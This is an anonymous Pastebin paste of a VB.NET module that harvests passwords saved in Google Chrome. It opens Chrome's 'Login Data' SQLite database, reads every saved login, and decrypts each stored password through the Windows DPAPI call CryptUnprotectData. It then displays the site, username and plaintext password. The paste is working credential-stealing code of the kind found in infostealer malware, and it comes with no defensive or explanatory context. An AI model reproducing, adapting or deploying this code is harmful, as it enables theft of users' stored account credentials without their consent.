Guest User

Untitled

a guest
May 19th, 2018
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.96 KB | None | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Text
  4.  
  5. Module Chrome
  6.  
  7. Public cPass As String
  8. Public Sub GetChrome()
  9. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  10.  
  11. Try
  12. Dim SQLDatabase = New SQLiteHandler(datapath)
  13. SQLDatabase.ReadTable("logins")
  14.  
  15. If File.Exists(datapath) Then
  16.  
  17. Dim host, user, pass As String
  18.  
  19. For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  20. host = SQLDatabase.GetValue(i, "origin_url")
  21. user = SQLDatabase.GetValue(i, "username_value")
  22. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  23.  
  24. If (user <> "") And (pass <> "") Then
  25. cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
  26. & vbNewLine & " ")
  27. MsgBox(cPass)
  28. End If
  29. Next
  30.  
  31. End If
  32. Catch e As Exception
  33. MsgBox(e.ToString)
  34. End Try
  35. End Sub
  36. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  37. Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  38. End Function
  39. <Flags()> Enum CryptProtectPromptFlags
  40. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  41. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  42. End Enum
  43. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  44. Public cbSize As Integer
  45. Public dwPromptFlags As CryptProtectPromptFlags
  46. Public hwndApp As IntPtr
  47. Public szPrompt As String
  48. End Structure
  49. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  50. Public cbData As Integer
  51. Public pbData As IntPtr
  52. End Structure
  53. Function Decrypt(ByVal Datas() As Byte) As String
  54. Dim inj, Ors As New DATA_BLOB
  55. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  56. inj.pbData = Ghandle.AddrOfPinnedObject()
  57. inj.cbData = Datas.Length
  58. Ghandle.Free()
  59. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  60. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  61. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  62. Dim TheString As String = Encoding.Default.GetString(Returned)
  63. Return TheString.Substring(0, TheString.Length - 1)
  64. End Function
  65.  
  66. End Module
Add Comment
Please, Sign In to add comment